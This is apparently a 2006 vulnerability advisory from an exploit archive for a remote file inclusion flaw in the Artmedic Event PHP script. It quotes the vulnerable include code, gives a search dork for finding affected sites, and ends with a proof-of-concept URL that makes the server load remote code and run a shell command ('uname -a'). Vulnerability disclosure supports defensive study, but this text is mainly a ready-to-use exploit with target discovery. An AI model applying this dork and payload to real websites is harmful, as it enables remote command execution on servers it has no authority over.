ArtmedicEvent.txt

`   
Original Advisory : http://kurdishsecurity.blogspot.com/2006/04/artmedic-event-remote-file-include.html  
#Artmedic Event Remote File Include Vulnerability  
#Website : http://www.artmedic.de/  
#Script : Artmedic Event Script  
#Risk : High  
#Class : Remote  
#Greetz : B3g0k,Nistiman,Flot,Netqurd etc..  
#d0rk : "/event/index.php?page=" "Artmedic Web Desing"  
  
Description [Deutch] "artmedic event, author Ellen Baitinger, artmedic webdesign, http://www.artmedic.de Dieses Programm ist Freeware und darf kostenlos eingesetzt werden, solange der Link auf artmedic webdesign und die Hinweise der Autorenschaft unangetastet bleiben."  
  
I.  
  
if(!file_exists("artmedic_event_inc.php"))   
{include("setup.php");   
exit;   
}   
require("artmedic_event_inc.php");   
echo "$eventtitle";   
$start = filectime($news);   
$jetzt = time();   
$update = "$start"+"$timespan";   
if($jetzt >= $update)   
{include("artmedic_event_html.php");}  
  
-----------------------------------------------------------------------------  
  
II.  
  
if(!$id and !$page)   
{@include("artmedic_event1.htm");}   
if(!$id and $page)   
{@include("$page");}   
if($id==1)   
{include("artmedic_event_inputform.htm");}   
if($id==2)   
{include("artmedic_event_add.php");}   
?  
-------------------------------------------------------------------------------  
  
  
III.  
  
Proof of Concept:  
  
http://www.site.com/[path]/event/index.php?page=evilcode.txt?&cmd=uname -a  
`